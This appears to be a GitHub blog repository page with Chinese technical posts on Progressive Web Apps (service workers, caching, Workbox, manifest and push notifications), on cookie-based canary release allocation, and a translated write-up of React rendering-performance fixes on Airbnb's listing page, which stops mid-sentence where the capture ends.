zwwill / blog Goto Github PK
View Code? Open in Web Editor NEW:pencil2: stay hungry stay foolish
:pencil2: stay hungry stay foolish
Progressive Web App, 简称 PWA,是「渐进式」提升 Web App 体验的一种新方法,能给用户类似原生应用的体验。
「高可靠,高性能,优体验」是 PWA 惯用的形容词,他的另外一个优点就是「渐进式」,开发者可以对照 PWA Checklist 逐步对自己站点进行 PWA 化升级。
苹果前 CEO,Steve Jobs,2007 年 WWDC 上提出了为初代 iPhone 开发应用的概念,当时所介绍的,就是 Web App——可以从主屏直接启动的 Web 应用。
图片来源 appleinsider.com
可惜当时这个理念太过超前,并没有引发太多关注,反而是后来的原生 App 应用更符合当时的市场需求,互联网公司更愿意投入人力在原生 App 的开发上,而忽略了 Web。因此原生 App 的大量出现,占据了移动时代的主流地位,Web 似乎就要被 App 所取代。
随着 Web 技术的发展,时间来到 2014 年, W3C 公布了 Service Worker 的相关草案,其生产环境在 2015 年被 Chrome 支持。随后 PWA 加以完善,相关技术不断升级优化,在用户体验和用户保活两方面的可发掘价值越来越大。
继移动站点喷井式发展之焰末,原生 App 的弊端越发明显,对于它来讲,最大的痛点便是其天生封闭的基因导致的内容无法被索引,相对的 Web 站点可索引的优势开始凸显,与此同时,PWA 遵循 W3C 标准开发的技术,完全开放,能够快速地被各大浏览器厂商支持,市场支持度一夜崛起。
另外一边,App 的推广并不顺利,据调查统计,移动设备用户 80% 的时间花费在了常用的 5 个应用上,16年近一半的美国用户平均每月安装「0」个新 App,用户积极探索新 App 已经成为了过去式,拉新和保活的成本越来越高。
原生 App 的发展遇到了天花板,推广也正向瓶颈一步步靠近,Web 看到了自己的机遇,PWA 以及支撑 PWA 的一系列关键技术应运而生。
2018 年对于 PWA 来说是里程碑的一年,万众瞩目的 Apple 终于在 iOS 11.3 里支持了 Web App Manifest,以及内置的 Safari 11.1 支持了 Service Worker。
与此同时,全球顶级浏览器厂商,Google、Microsoft、Apple 已经全数宣布支持 PWA 技术,这预示着,Web App 将会迎来全新的时代
截至当下的 PWA 支持度
依据 Can I use 的统计(20190515)
Service Worker 以全数「登船」。信息来源于 https://jakearchibald.github.io/isserviceworkerready/#moar
PWA 有几个核心功能,分别是「离线,安装,推送」
弱网或离线的情况下依然可以「正常访问」甚至「秒开」,这种体验甚至超过了 app。主要的技术点就是 Service Worker。
SW 类似于我们熟知的 Web Worker,Web Worker 可以脱离主线程,处理一些「脏累」活,干完后通过 postMessage 向主线程汇报工作结果。所以,SW 也是脱离主线程的存在,与 Web Worker 不同的是,SW 具有持久化的能力。
SW 还具备有以下功能和特性:
基于以上我们可以看到 SW 要让缓存做到极致优雅的伟大使命。
想要灵活的使用 SW 功能,就要充分了解他的生命周期,以及各阶段的状态。
以下是 MDN 给出的 SW 的详细生命周期图。
可以看到,SW 的生命周期包含这么几个状态 安装中
, 安装后
, 激活中
, 激活后
和废弃
安装( installing ):这个状态发生在 Service Worker 注册之后,表示开始安装,触发 install 事件回调指定一些静态资源进行离线缓存。
install 事件回调中有两个方法:
event.waitUntil():传入一个 Promise 为参数,等到该 Promise 为 resolve 状态为止。
self.skipWaiting():self 是当前 context 的 global 变量,执行该方法表示强制当前处在 waiting 状态的 Service Worker 进入 activate 状态。
安装后( installed ):Service Worker 已经完成了安装,并且等待其他的 Service Worker 线程被关闭。
激活( activating ):在这个状态下没有被其他的 Service Worker 控制的客户端,允许当前的 worker 完成安装,并且清除了其他的 worker 以及关联的旧缓存资源,等待新的 Service Worker 线程被激活。
activate 回调中有两个方法:
event.waitUntil():传入一个 Promise 为参数,等到该 Promise 为 resolve 状态为止。
self.clients.claim():在 activate 事件回调中执行该方法表示取得页面的控制权, 这样之后打开页面都会使用版本更新的缓存。旧的 Service Worker 脚本不再控制页面,之后会被停止。
激活后( activated ):在这个状态会处理 activate 事件回调 (提供了更新缓存策略的机会)。并可以处理功能性的事件,fetch (请求)、sync (后台同步)和 push (推送)。
废弃状态 ( redundant ):这个状态表示一个 Service Worker 生命周期的结束。
这里特别说明一下,进入废弃状态的原因可能为这几种:
安装 (install) 失败
激活 (activating) 失败
新版本的 Service Worker 替换了它并成功激活
MDN 也列出了 Service Worker 所有支持的事件:
install:Service Worker 安装成功后被触发的事件,在事件处理函数中可以添加需要缓存的文件
activate:当 Service Worker 安装完成后并进入激活状态,会触发 activate 事件。通过监听 activate 事件你可以做一些预处理,如对旧版本的更新、对无用缓存的清理等。
message:Service Worker 运行于独立 context 中,无法直接访问当前页面主线程的 DOM 等信息,但是通过 postMessage API,可以实现他们之间的消息传递,这样主线程就可以接受 Service Worker 的指令操作 DOM。
Service Worker 有几个重要的「功能性事件」,这些功能性的事件支撑和实现了 Service Worker 的特性。
fetch (请求):当浏览器在当前指定的 scope 下发起请求时,会触发 fetch 事件,并得到传有 response 参数的回调函数,回调中可以做各种代理和缓存操作。
push (推送):push 事件是为推送准备的。不过首先需要了解一下 Notification API 和 PUSH API。通过 PUSH API,当订阅了推送服务后,可以使用推送方式唤醒 Service Worker 以响应来自系统消息传递服务的消息,即使用户已经关闭了页面。
sync (后台同步):sync 事件由 background sync (后台同步)发出。background sync 配合 Service Worker 推出的 API,用于为 Service Worker 提供一个可以实现注册和监听同步处理的方法。但它还不在 W3C Web API 标准中。在 Chrome 中这也只是一个实验性功能,需要访问 chrome://flags/#enable-experimental-web-platform-features ,开启该功能,然后重启生效。
有了以上 SW 的事件及 API,接下来就是实战部分了。
127.0.0.1
和 localhost
测试,但部署须在 https 协议下。巧妇难为无米之炊,以上两个先决条件是必须要满足的。
if ('serviceWorker' in navigator) {
window.addEventListener('load', function() {
navigator.serviceWorker.register('/sw.js', {scope: '/'}).then(function(registration) {
// 注册成功
console.log('ServiceWorker registration successful with scope: ', registration.scope);
}, function(err) {
// 注册失败 :(
console.log('ServiceWorker registration failed: ', err);
});
});
}
其实,关键代码只有一行
navigator.serviceWorker.register('/sw.js', {scope: '/'})
注意,此处有坑
Service Worker 的注册路径决定了其 scope 默认作用域,如 SW 注册文件的路径为 https://www.a.com/public/sw.js
时,对应默认 scope 是 /public/
,其作用范围如下
域名 | 是否生效 |
---|---|
https://www.a.com/ | 否 |
https://www.a.com/page/ | 否 |
https://www.a.com/public/ | 是 |
https://www.a.com/public/page/ | 是 |
https://www.b.com/ | 否 |
https://www.b.com/public/ | 否 |
以上可看出,当作用域 scope 为 /public/
后,其作用范围只限于本身和子域,父域和兄弟域皆无效,跨域就更免谈了。
当然,我们可以通过设置 scope 来限定自己的作用域,但是!请注意,『以下写法是错误的』。
navigator.serviceWorker.register('/public/sw.js', {scope: '/'}) // 错误写法
navigator.serviceWorker.register('/public/sw.js', {scope: '/page'}) // 错误写法
以上写法均会报错
The path of the provided scope ('/') is not under the max scope allowed ('/public/'). Adjust the scope, move the Service Worker script, or use the Service-Worker-Allowed HTTP header to allow the scope.
所以,sw.js 文件最好放在根域名下
如
navigator.serviceWorker.register('/sw.js', {scope: '/page'})
当 scope 不同时,请求被监控情况也有不同
代号 | 请求 |
---|---|
r1 | www.a.com/api |
r2 | www.a.com/page1/api |
r3 | www.a.com/page2/api |
r4 | www.a.com/static/img1.png |
r5 | www.b.com/api2 |
r6 | www.b.com/static/img2.png |
域名 | scope | 被监控请求 |
---|---|---|
https://www.a.com/ | / | r1-6 |
https://www.a.com/ | /page1 | 无 |
https://www.a.com/page1 | / | r1-6 |
https://www.a.com/page1 | /page1 | r1-6 |
https://www.a.com/page1 | /page2 | 无 |
所以,scope 与被监控请求的域并没有什么关系,他只与站点域名有关
我们可以通过打开 Chrome 的 DevTools
-> Application
-> Service Workers
查看 SW 的注册情况。
看到类如 Status: #xxxx activated and is running
,即说明注册并激活成功。
也可以通过打开 Chrome 的管理页 chrome://inspect/#service-workers
查看
在受控页面启动注册流程后,我们来看看处理 install 事件的 Service Worker 脚本。
最基本的例子是,您需要为安装事件定义回调,并处理想要缓存的文件。
self.addEventListener('install', function(event) {
// Perform install steps
});
在 install 回调的内部,我们可以执行以下步骤(当然也可以啥也不干):
var CACHE_NAME = 'my-site-cache-v1';
var urlsToCache = [
'/',
'/styles/main.css',
'/script/main.js'
];
self.addEventListener('install', function(event) {
// Perform install steps
event.waitUntil(
caches.open(CACHE_NAME)
.then(function(cache) {
console.log('Opened cache');
return cache.addAll(urlsToCache);
})
);
});
此处,我们以所需的缓存名称调用 caches.open()
,之后再调用 cache.addAll()
并传入文件数组。 这是一个 promise
链(caches.open()
和 cache.addAll()
)。 event.waitUntil()
方法带有 promise
参数并使用它来判断安装所花费的时间,以及安装是否成功。
如果所有文件都成功缓存,则将安装 Service Worker。 如有任意文件无法下载,则安装失败。此设计可保证 SW 启动的正确性,但过长的资源列表也增加了安装失败的几率,可根据项目情况自行定义,也可不定义。
在安装 Service Worker 且用户转至其他页面或刷新当前页面后,Service Worker 将开始接收 fetch 事件。下面提供了一个示例。
self.addEventListener('fetch', function(event) {
event.respondWith(
//匹配缓存
caches.match(event.request)
.then(function(response) {
//命中走观察
if (response) {
return response;
}
//未命中则透传向网络
return fetch(event.request);
}
)
);
});
如果希望连续缓存新请求,可以通过处理 fetch 请求的响应并将其添加到缓存来实现,如下所示。
self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request)
.then(function(response) {
if (response) {
return response;
}
/**
* 通过检查,则克隆响应。
* 这样做的原因在于,该响应是数据流, 因此主体只能使用一次。
* 由于我们想要返回能被浏览器使用的响应,并将其传递到缓存以供使用,
* 因此需要克隆一份副本。我们将一份发送给浏览器,另一份则保留在缓存。
*/
var fetchRequest = event.request.clone();
return fetch(fetchRequest).then(
function(response) {
// 只缓存成功的请求,第三方资源不缓存,当然也可以处理缓存。
if(!response || response.status !== 200 || response.type !== 'basic') {
return response;
}
var responseToCache = response.clone();
caches.open(CACHE_NAME)
.then(function(cache) {
cache.put(event.request, responseToCache);
});
return response;
}
);
})
);
});
上一部分介绍了 SW 的使用,以及自定义请求响应,实际上,fetch
的玩法有很多,但也都是大同小异。
因此,为了使 SW 更容易使用,GoogleChrome 团队在 Chrome Submit 2017 上首次推出的一套 Web App 静态资源和请求结果本地存储的解决方案 workbox。
来直接感受下 workbox 的语法
// sw.js。 SW 的注册不变,改变的只是 `sw.js` 的写法
importScripts('https://storage.googleapis.com/workbox-cdn/releases/4.3.1/workbox-sw.js');
// 不同的资源使用不同的缓存策略,并存储在不同的 storage 中
workbox.routing.registerRoute(
/\.(?:s?html)/,
workbox.strategies.staleWhileRevalidate({
cacheName:'kl-main'
})
);
workbox.routing.registerRoute(
/\.(?:js|css)/,
new workbox.strategies.CacheFirst({
cacheName:'kl-static'
})
);
workbox.routing.registerRoute(
/http:\/\/(?:haitao\.nos\.netease\.com|haitao\.nosdn2\.127\.net)/,
new workbox.strategies.CacheFirst({
cacheName:'kl-cdn'
})
);
一看就懂,是不是很简单呢?
这里有个缓存策略,简略介绍一下。
此策略会优先匹配缓存,如果未命中,则透传网络,如果命中则返回缓存响应,同时在后台更新缓存网络响应,此策略比较安全,更像是竞争策略,谁快谁响应。
Network First
网络优先策略,如果网络通畅,返回网络响应并缓存,如果离线,则返回缓存响应
Cache First
缓存优先策略,如果缓存匹配,返回响应,如果不匹配则透传网络,并缓存「有效」响应
Network Only
强制网络响应,即为普通请求
Cache Only
强制缓存响应,无匹配则返回 404
更多关于 workbox 请前往 https://developers.google.com/web/tools/workbox/
PWA 另外一个爆点就是「可安装」,学名叫作「添加到主屏幕」,这归功于一个配置文件 manifest.json
,它给予开发者自定义图标、显示名称、启动方式等信息并添加至桌面的能力,同时也提供 API 方便开发者管理网络应用安装横幅,让用户可以方便快捷地将站点添加到主屏幕中。
当前 manifest.json 的标准仍属于草案阶段,Chrome、Firefox 和 Apple 都已经实现了这个功能或者功能的部分,微软正努力在 Edge 浏览器上实现。
在 caniuse 中可查到 manifest 的支持度,数据显示 92.64% 的移动浏览器已经达到了支持或者部分支持的程度,想必在不久以后,当规范标准通过后,manifest 的支持度可以达到一个新高度。
我以一个相对完整的 manifest.json
配置文件进行讲解
<!-- 配置因为的引入 -->
<link rel="manifest" href="path-to-manifest/manifest.json">
配置介绍
// manifest.json
{
/* 自定义名称 */
"short_name": "短名称",
"name": "这是一个完整名称",
/** 自定义安装 icon
* 当PWA添加到主屏幕时,浏览器会根据有效图标的 sizes 字段进行选择。
* 首先寻找与显示密度相匹配并且尺寸调整到 48dp 屏幕密度的图标;
* 如果未找到任何图标,则会查找与设备特性匹配度最高的图标;
* 如果匹配到的图标路径错误,将会显示浏览器默认 icon。
*
* 在启动应用时,启动画面图像会从图标列表中提取最接近 128dp 的图标进行显示
*/
"icons": [
{
"src": "path-to-images/icon-96x96.png",
"type": "image/png",
"sizes": "96x96"
},
{
"src": "path-to-images/icon-144x144.png",
"type": "image/png",
"sizes": "144x144"
}
],
/* 设置启动网址 */
"start_url": "index.html",
/** 设置启动背景颜色
* 完整色值 "#0000ff"
* 缩写 "#00f"
* 预设色值 "blue"
* rgb "rgb(0, 0, 255)"
* transparent 背景色显示为黑色
*/
"background_color": "#0000ff",
/** 设置启动显示类型
* fullscreen 应用的显示界面将占满整个屏幕
* standalone 浏览器相关UI(如导航栏、工具栏等)将会被隐藏
* minimal-ui 显示形式与standalone类似,浏览器相关UI会最小化为一个按钮,不同浏览器在实现上略有不同
* browser 浏览器模式,与普通网页在浏览器中打开的显示一致
*/
"display": "fullscreen",
/** 指定页面显示方向
* 更多配置介绍:https://lavas.baidu.com/pwa/engage-retain-users/add-to-home-screen/improved-webapp-experience#%E6%8C%87%E5%AE%9A%E9%A1%B5%E9%9D%A2%E6%98%BE%E7%A4%BA%E6%96%B9%E5%90%91
*/
"orientation": "landscape",
/* 设置主题颜色 */
"theme_color": "#000",
/** 设置作用域
* start_url 必须在作用域内
*/
"scope": "/"
}
配置完之后就可以在 Chrome 的 DevTools 中进行验证测试了。
图片来源于 developers.google.com
消息推送是 App 保活冲绩效的常用手段,由于 HTTP 是一个无状态协议,推送功能在用户关闭了浏览器之后便没了办法,这一次 PWA 赋予了 Web 这个能力。
其中便包含了两个技术点
下面我们来解析一个通知体
// 消息体的 title
self.addEventListener('push', event => {
const title = "Credit Card";
const options = {
// 主内容
"body": "Did you make a $1,000,000 purchase at Dr. Evil...",
// 视觉配置,如 icon,Badge,image 等,不同的视觉配置展示的位置也不同
// 详情参看 https://lavas.baidu.com/pwa/engage-retain-users/notification/notification-display
"icon": "images/ccard.png",
// 震动设置,其中的数字以2个为一组,分别表示震动的毫秒数,和不震动的毫秒数
"vibrate": [200, 100, 200, 100, 200, 100, 400],
// 铃声
"sound": "path/to/sound.mp3",
// 标签,用于客户端消息归类
"tag": "request",
// actions,用户操作后会将结果反馈给浏览器
"actions": [
{ "action": "yes", "title": "Yes", "icon": "images/yes.png" },
{ "action": "no", "title": "No", "icon": "images/no.png" }
]
}
// 激活通知
self.registration..showNotification(title, options);
});
self.addEventListener('notificationclick', event => {
// Do something with the event
event.notification.close();
});
self.addEventListener('notificationclose', event => {
// Do something with the event
});
以上的消息配置,展示的结果如下图。
关于推送功能的更多实操不属于本文探究的范畴,有实际需求的同学可以前往官网进行了解。
传送门>>
https://developers.google.com/web/fundamentals/push-notifications/
https://lavas.baidu.com/pwa/engage-retain-users/notification/notification-pattern
有人说「PWA 是小程序的祖宗」,不无道理,PWA 对小程序肯定存在一定的借鉴意义,但是否会挤压 PWA 的市场?我们应该放心,小程序的设计并不是 Web 的替代者,而是介于原生 App 和 Web 之间的存在。
小程序更倾向于轻便及时触手可得。既没有原生 App 的「沉重」也没有 Web 「迟钝」。在此得天独厚的基础之上加之以「社交流量」的加持,微信小程序的存在并非偶然。
但是,如果没了网络,一样玩不转;主流的搜索引擎并无法捕获小程序的内容。所以,App、Web 和小程序是相辅相成的。
另外,笔者想表达另外一个观点
「存在即合理,合理未必长久」
在经历过一段痛苦的微信小程序洗礼之后,我们「欣然」接受了。奈何众XX小程序『竞相开放,争奇斗艳,不亦乐乎』。殊不知,我等不才,竟要为了这区区语法之差异,彻夜无法停歇,然,产与出相比,孰轻孰重?
唉~程序员奈何为难程序员~~
关于 PWA 的技术早在 2 年前即已相对完整,只是由于「天朝人民太过赋予」,对支持与否未发布意见的 Apple 在天朝市场有着举足轻重的地位,而「外围」仿佛对 Android 机更为推崇,所以,PWA 在国内的发展和推广并不理想。
此时此刻,PWA 的支持度也达到了一个相对让人满意的水平,虽然体验依然无法和原生 App 相提并论,但作为 App 短板的补丁已是绰绰有余。
所以,『架构师』们,可以盘起来了。
以上就是 PWA 的相关知识点,希望对你有所帮助。
[1]. https://developers.google.com/web/fundamentals/web-app-manifest/
[2]. https://developers.google.com/web/fundamentals/primers/service-workers/
[3]. https://developers.google.com/web/tools/workbox/
[4].下一代 Web 应用模型 —— Progressive Web App
作者:木羽
转载请标明出处
关于灰度发布的意义此处就不进行介绍了,可以先读下这两篇文章
灰度方案说白了就是,分配一定比例或者筛选有特殊身份的用户,让这部分用户提前试用产品的最新版本,以便尽早发现问题也可将问题的影响最小化。不同公司都有自己独特的灰度流程,此处仅仅讨论灰度方案中的其中一个小环节,用户分配。
粗粒度灰度流程图(存在细节问题)
粗粒度的流程看上去似乎没有多大问题,但如果往细里考究,就会看到,漏洞百出
接下来,优化是必然的
描述:
同一个会话下,由于时机不同,导致同步资源和异步资源流入不同集群,此处假设 online 集群和 beta 集群资源不一致
场景:
1、同步 online 异步 beta:同步资源在无 cookie 条件下流入 online 集群,同步命中灰度设置了 cookie,之后的异步请求将会流入 beta 集群
2、同步 beta 异步 online:同步资源在有 cookie 条件下流入 beta 集群,随后 cookie 失效,之后的异步请求将会流入 online 集群
方案 a) node 中台灰度命中后重新代理回 ngnix 进行分流。 (1-,-2){1:有效,1-:部分有效,-1:无效,下同}
方案 b) beta 集群资源兼容 online 集群。 (1,-2)
方案 c) beta 集群独立域名(302),使用域名区分 online & beta。 (-1,2)
综合方案 b,c 可解决场景 1,2
描述:
会话期间更新 disconf 配置,或 cookie 自然过期会出现以下场景,导致资源请求错乱问题
场景:
3a、同步请求前设置灰度配置(online -> beta,同步资源同步)
3b、同步请求前关闭灰度配置(beta -> online,同步资源同步)
4a、同步(online)请求后异步请求前重置灰度配置(beta)
4b、同步(beta)请求后异步请求前重置灰度配置(online)
5a、下一个同步请求前重置灰度配置(online -> beta,同步资源不同步)
5b、下一个同步请求前重置灰度配置(beta -> online,同步资源不同步)
方案 a) 同上。(3a,3b,-4a,-4b,-5a,-5b)
方案 b) 同上。(3a,-3b,4a,-4b,5a,-5b)
方案 c) 同上。(-3a,3b,4a,4b,-5a,5b)
综合 b,c 可解决场景 3,4,5
描述:
假设上方问题都已经解决,那么 cookie 的 maxAge 该设置成多少才比较合理?
问题:假设用户访问一个页面的时间大于10s,那么,此用户的异步请求将会在 online 和 beta 集群来回切换,虽然解决了资源错乱的问题,用户无感知,但 beta 集群受到的压力将会成倍增大。
同时,从目标用户分配的比例上来看,1天内机会所有的用户都会引流到 beta 集群,这样灰度将失去意义,且带来较大风险
问题:过期时间设置较长,其优点恰恰是有效规避了有效期较短的致命缺点,beta 集群的流入用户比例和服务器压力都比较低。
但是,另外一个方面,如果 beta 集群出错宕机,或者我们主动将 beta 集群下线。就会导致灰度用户在 1 天内的反馈就是 404,且无解,只能等 cookie 过期或者用户主动换浏览器。导致的结果就是,客服电话被打爆,然后甩一句【垃圾网站!】,这是完全不能接受的。
一般来讲,如果不是生产工具类的网站,用户一次的访问周期不会超过 1 小时,及时用户没有关闭网页的习惯,1 个小时候再次操作也不会对网站造成多大影响。
虽然说,宕机导致的 404 同样无解,但损失可以降到最小
综合来看,方案 b,c 基本可以解决我们的上述问题。
beta 集群资源兼容 online 集群,静态资源长发布到 CDN,所以只需对异步资源进行同步即可。
集群独立域名(302),使用域名区分 online & beta,做域隔离,即使 cookie 失效也可以保证用户的当前会话操作维持在 beta 集群。
另外针对 a 方案,针对不同的业务场景,还有有一定的作用,比如避免出现跨域请求等。
问题是相对的,方案是灵活的。不同类型的系统会用不同的问题,我们能做的就只有针对问题思考解决方案。
如果你有更好的解决方案,还请不吝赐教!拜谢!
转载请标明出处
作者: 木羽 zwwill
首发地址:#25
test
简要:可能在某些领域存在一些触手可及的性能优化点,虽不常见但依然很重要。
我们一直在努力把 airbnb.com 的核心预订流程迁移到一个使用 React Router 和 Hypernova 技术的服务端渲染的单页应用。年初,我们推出了登陆页面,搜索结果告诉我们很成功。我们的下一步是将清单详情页扩展到单页应用程序里去。
airbnb.com 的清单详情页: https://www.airbnb.com/rooms/8357
这是您在确定预订清单时所访问的页面。在整个搜索过程中,您可能会多次访问该页面以查看不同的清单。这是 airbnb 网站访问量最大同时也是最重要的页面之一,因此,我们必须做好每一个细节。
作为迁移到我们的单页应用的一部分,我希望能排查出所有影响清单页交互性能的遗留问题(例如,滚动、点击、输入)。让页面启动更快并且延迟更短,这符合我们的目标,而且这会让使用我们网站的人们有更好的体验。
通过解析、修复、再解析的流程,我们极大地提高了这个关键页的交互性能,使得预订体验更加顺畅,更令人满意。在这篇文章中,您将了解到我用来解析这个页面的技术,用来优化它的工具,以及在解析结果给出的火焰图表中感受优化的效果。
这些配置项通过Chrome的性能工具被记录下来:
?react_perf
在查询字符串中进行配置访问本地开发页面(启用 React 的 User Timing 注释,并禁用一些会使页面变慢的 dev-only 功能,例如 axe-core)通常情况下,我推荐在移动设备上进行解析以了解在较慢的设备上的用户体验,比如 Moto C Plus,或者 CPU 速度设置为 6x 减速。然而,由于这些问题已经足够严重了,以至于即使是在没有节流的情况下,在我的高性能笔记本电脑上结果表现也是明显得糟糕。
在我开始优化这个页面时,我注意到控制台上有一个警告:💀
webpack-internal:///36:36 Warning: React attempted to reuse markup in a container but the checksum was invalid. This generally means that you are using server rendering and the markup generated on the server was not what the client was expecting. React injected new markup to compensate which works but you have lost many of the benefits of server rendering. Instead, figure out why the markup being generated is different on the client or server: (client) ut-placeholder-label screen-reader-only" (server) ut-placeholder-label" data-reactid="628"
这是可怕的 客户端/服务端 不匹配问题,当服务器渲染不同于客户端初始化渲染时发生。这会迫使你的 Web 浏览器执行那些在使用服务器渲染时不应该做的工作,所以每当发生这种情况时 React 就会给出这样的提醒 ✋ 。
不过,错误信息并没有明确地表明底发生了什么,或者可能的原因是什么,但确实给了我们一些线索。🔎 我注意到一些看起来像 CSS 类的文本,所以我在终端里输入下面的命令:
~/airbnb ❯❯❯ ag ut-placeholder-label
app/assets/javascripts/components/o2/PlaceholderLabel.jsx
85: 'input-placeholder-label': true,
app/assets/stylesheets/p1/search/_SearchForm.scss
77: .input-placeholder-label {
321:.input-placeholder-label,
spec/javascripts/components/o2/PlaceholderLabel_spec.jsx
25: const placeholderContainer = wrapper.find('.input-placeholder-label');
很快地我将搜索范围缩小到了 o2/PlaceHolderLabel.jsx
这个文件,一个在顶部渲染的搜索组件。
事实上,我们使用了一些特征检测,以确保在旧浏览器(如 IE)中可以看到 placeholder
,如果在当前的浏览器中不支持 placeholder
,则会以不同的方式呈现 input
。特征检测是正确的方法(与用户代理嗅探相反),但是由于在服务器渲染时没有浏览器检测功能,导致服务器总是会渲染一些额外的内容,而不是大多数浏览器将呈现的内容。
这不仅降低了性能,还导致了一些额外的标签被渲染出来,然后每次再从页面上删除。真难伺候!我把渲染的内容转化为 React 的 state,并将其设置到 componentDidMount
,直到客户端渲染时才呈现。这完美的解决了问题。
我重新运行了一遍 profiler 发现,<SummaryContainer>
在 mounting 后立刻更新。
Redux 连接的 SummaryContainer 重绘消耗了 101.64 ms
更新后会重新渲染一个 <BreadcrumbList>
、两个 <ListingTitles>
和一个 <SummaryIconRow>
组件,但是他们前后并没有任何区别,所以我们可以通过使用 React.PureComponent
使这三个组件的渲染得到显著的优化。方法很简单,如下
export default class SummaryIconRow extends React.Component {
...
}
改成这样:
export default class SummaryIconRow extends React.PureComponent {
...
}
接下来,我们可以看到 <BookIt>
在页面初始载入时也发生了重新渲染的操作。根据火焰图可以看出,大部分时间都消耗在渲染 <GuestPickerTrigger>
和 <GuestCountFilter>
组件上。
BookIt 的重绘消耗了 103.15ms
有趣的是,除非用户操作,这些组件基本是不可见的 👻 。
解决这个问题的方法是在不需要的时候不渲染这些组件。这加快了初始化的渲染,清除了一些不必要的重绘。🐎 如果我们进一步地进行优化,增加更多 PureComponents,那么初始化渲染会变得更快。
BookIt 的重绘消耗了 8.52ms
通常我们会在清单页面上做一些平滑滚动的效果,但在滚动时效果并不理想。📜 当动画没有达到平滑的 60 fps(每秒帧),甚至是 120 fps,人们通常会感到不舒服也不会满意。滚动是一种特殊的动画,是你的手指动作的直接反馈,所以它比其他动画更加敏感。
稍微分析一下后,我发现我们在滚动事件处理机制中做了很多不必要的 React 组件的重绘!看起来真的很糟糕:
在没做修复之前,Airbnb 上的滚动性能真的很糟糕
我可以使用 React.PureComponent
转化 <Amenity>
、<BookItPriceHeader>
和 <StickyNavigationController>
这三个组件来解决绝大部分问题。这大大降低了页面重绘的成本。虽然我们还没能达到 60 fps(每秒帧数),但已经很接近了。
经过一些修改后,Airbnb 清单页面的滚动性能略有改善
另外还有一些可以优化的部分。展开火焰图表,我们可以看到,<StickyNavigationController>
也产生了耗时的重绘。如果我们细看他的组件堆栈信息,可以发现四个相似的模块。
StickyNavigationController 的重绘消耗了 8.52ms
<StickyNavigationController>
是清单页面顶部的一个部分,当我们不同部分间滚动时,它会联动高亮您当前所在的位置。火焰图表中的每一块都对应着常驻导航的四个链接之一。并且,当我们在两个部分间滚动时,会高亮不同的链接,所以有些链接是需要重绘的,就像下图显示的那样。
现在,我注意到我们这里有四个链接,在状态切换时改变外观的只有两个,但在我们的火焰图表中显示,四个链接每都做了重绘操作。这是因为我们的 <NavigationAnchors>
组件每次切换渲染时都创建一个新的方法作为参数传递给 <NavigationAnchor>
,这违背了我们纯组件的优化原则。
const anchors = React.Children.map(children, (child, index) => {
return React.cloneElement(child, {
selected: activeAnchorIndex === index,
onPress(event) { onAnchorPress(index, event); },
});
});
我们可以通过确保 <NavigationAnchor>
每次被 <NavigationAnchors>
渲染时接收到的都是同一个 function 来解决这个问题。
const anchors = React.Children.map(children, (child, index) => {
return React.cloneElement(child, {
selected: activeAnchorIndex === index,
index,
onPress: this.handlePress,
});
});
接下来是 <NavigationAnchor>
:
class NavigationAnchor extends React.Component {
constructor(props) {
super(props);
this.handlePress = this.handlePress.bind(this);
}
handlePress(event) {
this.props.onPress(this.props.index, event);
}
render() {
...
}
}
在优化后的解析中我们可以看到,只有两个链接被重绘,事半功倍!并且,如果我们这里有更多的链接块,那么渲染的工作量将不再增加。
StickyNavigationController 的重绘消耗了 8.52ms
Dounan Shi 再 Flexport 一直在维护 Reflective Bind,这是供你用来做这类优化的 Babel 插件。这个项目还处于起步阶段,还不足以正式发布,但我已经对它未来的可能性感到兴奋了。
继续看 Performance 记录的 Main 面板,我注意到我们有一个非常可疑的模块 handleScroll
,每次滚动事件都会消耗 19ms。如果我们要达到 60 fps 就只有 16ms 的渲染时间,这明显超出太多。
_handleScroll
消耗了 18.45ms
罪魁祸首的好像是 onLeaveWithTracking
内的某个部分。通过代码排查,问题定位到了 <EngagementWrapper>
。然后在看看他的调用栈,发现大部分的时间消耗在了 React setState
,但奇怪的是,我们并没有发现期间有产生任何的重绘。
深入挖掘 <EngagementWrapper>
,我注意到,我们使用了 React 的 state 跟踪了实例上的一些信息。
this.state = { inViewport: false };
然而,在渲染的流程中我们从来没有使用过这个 state,也没有监听它的变化来做重绘,也就是说,我们做了无用功。将所有 React 的此类 state 用法转换为简单的实例变量可以让这些滚动动画更流畅。
this.inViewport = false;
滚动事件的 handler 消耗了 1.16ms
我还注意到,<AboutThisListingContainer>
的重绘导致了组件 <Amenities>
高消耗且多余的重绘。
AboutThisListingContainer 的重绘消耗了 32.24ms
最终确认是我们使用的高阶组件 withExperiments
来帮助我们进行实验所造成的。HOC 每次都会创建一个新的对象作为参数传递给子组件,整个流程都没有做任何优化。
render() {
...
const finalExperiments = {
...experiments,
...this.state.experiments,
};
return (
<WrappedComponent
{...otherProps}
experiments={finalExperiments}
/>
);
}
我通过引入 reselect 来修复这个问题,他可以缓存上一次的结果以便在连续的渲染中保持相同的引用。
const getExperiments = createSelector(
({ experimentsFromProps }) => experimentsFromProps,
({ experimentsFromState }) => experimentsFromState,
(experimentsFromProps, experimentsFromState) => ({
...experimentsFromProps,
...experimentsFromState,
}),
);
...
render() {
...
const finalExperiments = getExperiments({
experimentsFromProps: experiments,
experimentsFromState: this.state.experiments,
});
return (
<WrappedComponent
{...otherProps}
experiments={finalExperiments}
/>
);
}
问题的第二个部分也是相似的。我们使用了 getFilteredAmenities
方法将一个数组作为第一个参数,并返回该数组的过滤版本,类似于:
function getFilteredAmenities(amenities) {
return amenities.filter(shouldDisplayAmenity);
}
虽然看上去没什么问题,但是每次运行即使结果相同也会创建一个新的数组实例,这使得即使是很单纯的组件也会重复的接收这个数组。我同样是通过引入 reselect
缓存这个过滤器来解决这个问题。👻
可能还有更多的优化空间,(比如 CSS containment),不过现在看起来已经很好了。
修复后的 Airbnb 清单页的优化滚动表现
更多地体验过这个页面后,我明显得感觉到在点击「Helpful」按钮时存在延时问题。
我的直觉告诉我,点击这个按钮导致页面上的所有评论都被重新渲染了。看一看火焰图表,和我预计的一样:
ReviewsContent 重绘消耗了 42.38ms
在这两个地方引入 React.PureComponent
之后,我们让页面的更新更高效。
ReviewsContent 重绘消耗了 12.38ms
再回到之前的客户端/服务端不匹配的老问题上,我注意到,在这个输入框里打字确实有反应迟钝的感觉。
分析后发现,每次按键操作都会造成整个评论区头部的重绘。这是在逗我吗?😱
Redux-connected ReviewsContainer 重绘消耗 61.32ms
为了解决这个问题,我把头部的一部分提取出来做为组件,以便我可以把它做成一个 React.PureComponent
,然后再把这个几个 React.PureComponent
